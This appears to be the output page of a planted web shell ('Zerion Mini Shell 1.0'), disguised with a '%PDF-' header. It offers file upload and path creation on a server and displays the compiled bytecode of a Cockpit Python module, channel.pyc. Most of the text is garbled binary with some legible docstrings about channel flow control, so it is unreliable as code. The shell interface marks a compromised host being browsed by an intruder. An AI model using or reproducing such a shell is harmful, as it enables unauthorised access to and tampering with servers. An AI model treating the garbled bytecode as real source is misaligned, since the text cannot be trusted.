%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/cockpit/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/cockpit/__pycache__/channel.cpython-39.pyc

a

��hCY�@s(ddlZddlZddlZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZmZmZmZmZmZmZddlmZddlmZmZmZe�e�Zejr�e� d�Z!e�"d�Z#Gd	d
�d
e�Z$Gdd�de�Z%Gd
d�de�Z&Gdd�de&ej'�Z(Gdd�de&�Z)Gdd�de&�Z*dS)�N)�BinaryIO�Callable�ClassVar�
Collection�	Generator�Mapping�Sequence�Type�)�	JsonError�
JsonObject�	JsonValue�
create_object�get_bool�get_enum�get_str)�CockpitProblem)�Endpoint�Router�RoutingRule�_T�_PcsleZdZUded<edd��fdd�Zed�dd	�Zd
eed�dd
�Z	edd�dd�Z
dd�dd�Z�ZS)�ChannelRoutingRulezdict[str, list[Type[Channel]]]�tablezCollection[Type[Channel]])�router�
channel_typescs\t��|�i|_|D]}|j�|jg�}|�|�q|j��D]}|jdd�dd�q@dS)NcSs
t|j�S�N)�len�restrictions)�cls�r �3/usr/lib/python3.9/site-packages/cockpit/channel.py�<lambda>5�z-ChannelRoutingRule.__init__.<locals>.<lambda>T)�key�reverse)�super�__init__r�
setdefault�payload�append�values�sort)�selfrrr�entry��	__class__r r!r')szChannelRoutingRule.__init__��returncCs>i}|j��D]*\}}g}|D]}|�|j�q|||<q|Sr)r�items�extend�capabilities)r-�resultr)ZimplsZcaps�implr r r!r57s
zChannelRoutingRule.capabilitieszCollection[tuple[str, object]])r�optionsr2cCs@|D]6\}}|�|�}|dur$dS|dur||krdSqdS)NFT)�get)r-rr8r$Zexpected_valueZ	our_valuer r r!�check_restrictionsAs
z%ChannelRoutingRule.check_restrictionszChannel | None�r8r2cCsZ|jdusJ�|�d�}t|t�s&dS|j�|g�D] }|�|j|�r4||j�Sq4dS)Nr))rr9�
isinstance�strrr:r)r-r8r)rr r r!�
apply_ruleRs

zChannelRoutingRule.apply_ruleNcCsdSrr �r-r r r!�shutdown_szChannelRoutingRule.shutdown)
�__name__�
__module__�__qualname__�__annotations__rr'rr5�boolr:r>r@�
__classcell__r r r/r!r&s


rc@seZdZdS)�ChannelErrorN)rArBrCr r r r!rGcsrGc@sZeZdZUdZdZdZeed<dZe	ed<eZ
e	ed<eed<d	ed
<dZded
<ded<dZded<dZ
ded<dZdZeed<ded<eedd�dd�Zeeedd�dd�Zddedd �d!d"�Zedd#�d$d%�Zdd&�d'd(�Zdd&�d)d*�Zdd&�d+d,�Zedd-�d.d/�Zedd-�d0d1�Zedd2�d3d4�Zeedd5�d6d7�Zed8d2�d9d:�Zedd;�d<d=�Z dd>�eeed?�d@dA�Z!dd&�dBdC�Z"ed&�dDdE�Z#dd&�dFdG�Z$dHdI�Z%dedJdK�Z&dfdddL�dMdN�Z'eed2�dOdP�Z(eed2�dQdR�Z)eed2�dSdT�Z*dgdeedU�dVdW�Z+dXdY�Z,dd&�dZd[�Z-e.j/d\d]�Z0d^ed_<eedd`�dadb�Z1edd-�dcdd�Z2dS)h�Channeli@i F�_send_pingsr�
_out_sequence�_out_window�
_ack_byteszset[asyncio.Task]�_tasksN�JsonObject | None�_close_argsz
ClassVar[str]r)r z&ClassVar[Sequence[tuple[str, object]]]rzClassVar[Sequence[str]]r5��	is_binaryz codecs.IncrementalDecoder | None�decoder)�command�messager2cCs�|dkr�t�|_t|d�|_t|ddd�r0d|_t|ddgd�du|_t|d	d
�|_t|ddgd�du|_	d|_
|��|�|�np|d
kr�|�
�n^|dkr�|��nL|dkr�|��n:|dkr�|�|�n&|dkr�|�|�n|dkr�|�|�dS)N�open�channelzflow-controlF)�defaultTz	send-acks�bytes�grouprWZbinary�raw�ready�done�close�ping�pongr8)�setrMrrVrrIrrLrYrQrRZfreeze_endpoint�do_open�do_ready�do_done�do_close�do_ping�do_pong�
do_options)r-rSrTr r r!�
do_control�s.


zChannel.do_control)rVrSrTr2c
Cs�|jdurdSzLz|�||�Wn6tyV}ztdt|�d�|�WYd}~n
d}~00Wn2ty�}z|�|���WYd}~n
d}~00dS)N�protocol-error�rT)rOrhrrGr=r]�	get_attrs)r-rVrSrT�excr r r!�do_channel_control�s
,zChannel.do_channel_controlz
str | None)�hostrY�_messager2cCs<|jdurdS|durdS|dur0|j|kr0dS|��dSr)rOrYrd)r-rnrYror r r!�do_kill�s
zChannel.do_killr;cCst�dSr��NotImplementedError�r-r8r r r!ra�szChannel.do_openr1cCsdSrr r?r r r!rb�szChannel.do_readycCsdSrr r?r r r!rc�szChannel.do_donecCs|��dSr�r]r?r r r!rd�szChannel.do_close�rTr2cCstddd��dS)Nz
not-supportedz)This channel does not implement "options"rj)rG�r-rTr r r!rg�szChannel.do_optionscCs|�|�dSr)�	send_pongrvr r r!re�szChannel.do_ping��datar2cCs|jr|jdt|�d�dS)NZack)rX)rL�send_controlr�r-ryr r r!�send_ack�szChannel.send_ack)rVryr2c
Cs^|jdurdSz|�|�s$|�|�Wn2tyX}z|�|���WYd}~n
d}~00dSr)rO�do_datar|rGr]rk)r-rVryrlr r r!�do_channel_data�s

zChannel.do_channel_datazbool | NonecCs~|��dS)aHandles incoming data to the channel.

        Return value is True if the channel takes care of send acks on its own,
        in which case it should call self.send_ack() on `data` at some point.
        None or False means that the acknowledgement is sent automatically.Trtr{r r r!r}�szChannel.do_data)�kwargsr2cKs |��|jfddi|��dS)NrSr[)Z
thaw_endpointrz)r-rr r r!r[�sz
Channel.ready��final)ryr�r2c
Cs\|jdusJ�z|jj||d�WStyV}ztdt|�d�|�WYd}~n
d}~00dS)Nr�rirj)rR�decode�UnicodeDecodeErrorrGr=)r-ryr�rlr r r!Z__decode_frame�s
zChannel.__decode_framecCs(|jdur|jddd�|jdd�dS)Nr#Tr�r\)rS)rR�_Channel__decode_framerzr?r r r!r\�s
zChannel.donecCs
|jduSr)rOr?r r r!�
is_closing�szChannel.is_closingcCs|�|j�dSr)Zshutdown_endpointrOr?r r r!�
_close_now�szChannel._close_nowcCs(|j�|�|jdur$|js$|��dSr)rM�removerOr�)r-�taskr r r!�
_task_doneszChannel._task_donecCs4|jdusJ�t�|�}|j�|�|�|j�|S)z�Create a task associated with the channel.

        All tasks must exit before the channel can close.  You may not create
        new tasks after calling .close().
        N)rO�asyncio�create_taskrM�add�add_done_callbackr�)r-�	coroutine�namer�r r r!r�	s

zChannel.create_task)�
close_argsr2cCs*|jdurdS|pi|_|js&|��dS)z�Requests the channel to be closed.

        After you call this method, you won't get anymore `.do_*()` calls.

        This will wait for any running tasks to complete before sending the
        close message.
        N)rOrMr�)r-r�r r r!r]s


z
Channel.closecCsX|�|j|�|jrL|jt|�}|jtj|tjkrF|jd|d�||_|j|jkS)a�Send binary data and handle book-keeping for flow control.

        The flow control is "advisory".  The data is sent immediately, even if
        it's larger than the window.  In general you should try to send packets
        which are approximately Channel.BLOCK_SIZE in size.

        Returns True if there is still room in the window, or False if you
        should stop writing for now.  In that case, `.do_resume_send()` will be
        called later when there is more room.

        Be careful with text channels (i.e. without binary="raw"): you are responsible
        for ensuring that @data is valid UTF-8. This isn't validated here for
        efficiency reasons.
        r^)rS�sequence)	Zsend_channel_datarVrIrJrrH�
BLOCK_SIZErzrK)r-ryZout_sequencer r r!�
send_bytes$szChannel.send_bytescCs<|jr|�|�S|jdur,t�d�dd�|_|�|�|��S)aDSend data and transparently handle UTF-8 for text channels

        Use this for channels which can be text, but are not guaranteed to get
        valid UTF-8 frames -- i.e. multi-byte characters may be split across
        frames. This is expensive, so prefer send_text() or send_bytes() wherever
        possible.
        Nzutf-8�strict)�errors)rQr�rR�codecs�getincrementaldecoder�	send_textr�r{r r r!�	send_data=s


zChannel.send_datacCs|�|���S)z�Send UTF-8 string data and handle book-keeping for flow control.

        Similar to `send_bytes`, but for text data.  The data is sent as UTF-8 encoded bytes.
        )r��encoder{r r r!r�NszChannel.send_text)�msgrr2cKs |j�t||��d}|�|�S)N�
)�json_encoderr�rr�)r-r�rZprettyr r r!�	send_jsonUszChannel.send_jsoncCs@|jst�d|j�dS|dtj|_|j|jkr<|��dS)NzGot wild pong on channel %sr�)	rI�loggerZwarningrVrH�SEND_WINDOWrKrJ�do_resume_sendrvr r r!rfYszChannel.do_pongcCsdS)z<Called to indicate that the channel may start sending again.Nr r?r r r!r�bszChannel.do_resume_send�)�indentzClassVar[json.JSONEncoder]r�)rSrr2cKs|j|j|dfi|��dSr�Zsend_channel_controlrV)r-rSrr r r!rzhszChannel.send_controlcCs|�|jd|�dS)Nr_r�rvr r r!rwkszChannel.send_pong)N)N)N)3rArBrCr�r�rIrErDrJ�intrKrOrr5rVrYr=rrhrmrprarbrcrdrgrerXr|r~r}r
r[r�r\r�r�r�r�r]r�r�r�r�rfr��jsonZJSONEncoderr�rzrwr r r r!rHgsX
	
	rHc@sVeZdZUdZdZded<dZeed<dZded<dZ	d	ed
<dZ
ded<dZeed
<dZeed<e
jee
jd�dd�Zedd�dd�Zddd�dd�Ze
jdd�dd�Zed�dd�Zddd �d!d"�Zedd#�d$d%�Zdd�d&d'�Zdd�d(d)�Zedd#�d*d+�Zdd�d,d-�Zdd�d.d/�Zed�d0d1�Zd2d3�Z dd�d4d5�Z!dd�d6d7�Z"dS)8�ProtocolChannela;A channel subclass that implements the asyncio Protocol interface.

    In effect, data sent to this channel will be written to the connected
    transport, and vice-versa.  Flow control is supported.

    The default implementation of the .do_open() method calls the
    .create_transport() abstract method.  This method should return a transport
    which will be used for communication on the channel.

    Otherwise, if the subclass implements .do_open() itself, it is responsible
    for setting up the connection and ensuring that .connection_made() is called.
    Nzasyncio.Transport | None�
_transportT�_send_pongsrN�
_last_pingz&asyncio.Task[asyncio.Transport] | None�_create_transport_task�_ready_infoF�
_close_on_eof�_eof)�loopr8r2c�st�dS)aCreates the transport for this channel, according to options.

        The event loop for the transport is passed to the function.  The
        protocol for the transport is the channel object, itself (self).

        This needs to be implemented by the subclass.
        Nrq)r-r�r8r r r!�create_transport�sz ProtocolChannel.create_transportr;cCs.t��}t�|�||��|_|j�|j�dSr)r��get_running_loopr�r�r�r��create_transport_done)r-r8r�r r r!ra�szProtocolChannel.do_openzasyncio.Task[asyncio.Transport])r�r2c
Cs�||jusJ�d|_z|��}Wn4tyT}z|�|���WYd}~dSd}~00|�|�|jdur~|jfi|j��n|��dSr)r�r6rGr]rk�connection_mader�r[)r-r��	transportrlr r r!r��s

z%ProtocolChannel.create_transport_done)r�r2cCst|tj�sJ�||_dSr)r<r��	Transportr�)r-r�r r r!r��szProtocolChannel.connection_mader1cCsiSrr r?r r r!�_get_close_args�szProtocolChannel._get_close_argszException | None)rlr2cCs|�|���dSr)r]r�)r-rlr r r!�connection_lost�szProtocolChannel.connection_lostrxcCs|jdusJ�|j�|�dSr)r��writer{r r r!r}�szProtocolChannel.do_datacCs&|jdusJ�|j��r"|j��dSr)r�Z
can_write_eofZ	write_eofr?r r r!rc�s
zProtocolChannel.do_donecCs|jdur|j��dSr)r�r]r?r r r!rd�s
zProtocolChannel.do_closec
Cs^|jdusJ�z|�|�s$|j��Wn2tyX}z|�|���WYd}~n
d}~00dSr)r�r�Z
pause_readingrGr]rk)r-ryrlr r r!�
data_received�s
zProtocolChannel.data_receivedcCs|jdusJ�|j��dSr)r�Zresume_readingr?r r r!r��szProtocolChannel.do_resume_sendcCs(d|_|jr$|jdusJ�|j��dS)a�Mark the channel to be closed on EOF.

        Normally, ProtocolChannel tries to keep the channel half-open after
        receiving EOF from the transport.  This instructs that the channel
        should be closed on EOF.

        If EOF was already received, then calling this function will close the
        channel immediately.

        If you don't call this function, you are responsible for closing the
        channel yourself.
        TN)r�r�r�r]r?r r r!�close_on_eof�s
zProtocolChannel.close_on_eofcCsd|_|��|jS�NT)r�r\r�r?r r r!�eof_received�szProtocolChannel.eof_receivedcCs|jr|�|�n||_dSr)r�rwr�rvr r r!re�szProtocolChannel.do_pingcCs
d|_dS)NF)r�r?r r r!�
pause_writing�szProtocolChannel.pause_writingcCs&d|_|jdur"|�|j�d|_dSr�)r�r�rwr?r r r!�resume_writing�s
zProtocolChannel.resume_writing)#rArBrC�__doc__r�rDr�rEr�r�r�r�r�r��AbstractEventLooprr�r�rar�Z
BaseTransportr�r�r�rXr}rcrdr�r�r�r�rer�r�r r r r!r�os0

r�c@s�eZdZUdZded<ejed<dZedd�dd	�Z	edd�d
d�Z
dd
�dd�Zedd�dd�Z
ddddd�dd�Zedd�dd�Zdd
�dd�Zedd�dd �Zdd
�d!d"�Zdd
�d#d$�Zedd%�d&d'�Zeed�d(d)�ZdS)*�AsyncChannelaAA subclass for async/await-style implementation of channels, with flow control

    This subclass provides asynchronous `read()` and `write()` calls for
    subclasses, with familiar semantics.  `write()` doesn't buffer, so the
    `done()` method on the base channel class can be used in a way similar to
    `shutdown()`.  A high-level `sendfile()` method is available to send the
    entire contents of a binary-mode file-like object.

    The subclass must provide an async `run()` function, which will be spawned
    as a task.  The task is cancelled when the channel is closed.

    On the receiving side, the channel will respond to flow control pings to
    indicate that it has received the data, but only after it has been consumed
    by `read()`.

    On the sending side, write() will block if the channel backs up.
    z(asyncio.Queue[bytes | JsonObject | None]�
receive_queuer�NrNr;c�st�dSrrqrsr r r!�run
szAsyncChannel.runc
�s�z$t��|_|�|�|�IdH�Wn�tjy@|��Yn�typ}z|�|���WYd}~nfd}~0ty�}z |�dt	|�d��WYd}~n0d}~0t
y�|�dt��d���Yn0dS)Nri)�problemrTzinternal-error)r��cause)
r�r�r�r]r�ZCancelledErrorrGrkrr=�
BaseException�	traceback�
format_exc)r-r8rlr r r!�run_wrappers
"(zAsyncChannel.run_wrapperzbytes | Noner1c�sF|j��IdH}|durdSt|t�r2|�|�q|�|�|SqdSr)r�r9r<rrwr|)r-�itemr r r!�reads

zAsyncChannel.readrxc�s&|�|�s"|j��|_|jIdHdSr)r�r�Z
create_future�write_waiterr{r r r!r�-s
zAsyncChannel.writezCallable[_P, _T]z_P.argsz	_P.kwargsr)�fn�argsrr2c�s"|jjd|g|�Ri|��IdHSr)r��run_in_executor)r-r�r�rr r r!�	in_thread2szAsyncChannel.in_thread)�streamr2c�sf|�N|j�d|jtj�IdH}|dkr*q<|�|�IdHq|��Wd�n1sX0YdS)Nr#)r�r�r�rHr�r�r\)r-r�ryr r r!�sendfile5szAsyncChannel.sendfilecCs |jdur|j�d�d|_dSr)r�Z
set_resultr?r r r!r�?s
zAsyncChannel.do_resume_sendcCs4t��|_|j|�|�|jj�d|�d�d�|_dS)Nz
.run_wrapper(�))r�)r�ZQueuer�r�r�r0rA�	_run_taskrsr r r!raDs
�zAsyncChannel.do_opencCs|j�d�dSr�r�Z
put_nowaitr?r r r!rcIszAsyncChannel.do_donecCs|j��dSr)r��cancelr?r r r!rdLszAsyncChannel.do_closerucCs|j�|�dSrr�rvr r r!reOszAsyncChannel.do_pingcCs|j�|�dSr�r�r{r r r!r}RszAsyncChannel.do_data)rArBrCr�rDr�r�r�rr�r�r�rXr�r�rr�r�rarcrdrerEr}r r r r!r��s 


r�c@sHeZdZUdZded<edd�dd�Zedd�dd	�Zdd
�dd�ZdS)
�GeneratorChannelaA trivial Channel subclass for sending data from a generator with flow control.

    Calls the .do_yield_data() generator with the options from the open message
    and sends the data which it yields.  If the generator returns a value it
    will be used for the close message.
    z"Generator[bytes, None, JsonObject]�_GeneratorChannel__generatorr;cCst�dSrrqrsr r r!�
do_yield_data`szGeneratorChannel.do_yield_dataNcCs|�|�|_|��dSr)r�r�r�rsr r r!racszGeneratorChannel.do_openr1c
CsTz|�t|j��rqWn8tyN}z |��|�|j�WYd}~n
d}~00dSr)r��nextr��
StopIterationr\r]�value)r-�stopr r r!r�gszGeneratorChannel.do_resume_send)	rArBrCr�rDrr�rar�r r r r!r�Ws

r�)+r�r�r�Zloggingr��typingrrrrrrrr	Zjsonutilrrr
rrrrZprotocolrrrrrZ	getLoggerrAr��
TYPE_CHECKING�TypeVarrZ	ParamSpecrrrGrH�Protocolr�r�r�r r r r!�<module>s,($


=
f

Zerion Mini Shell 1.0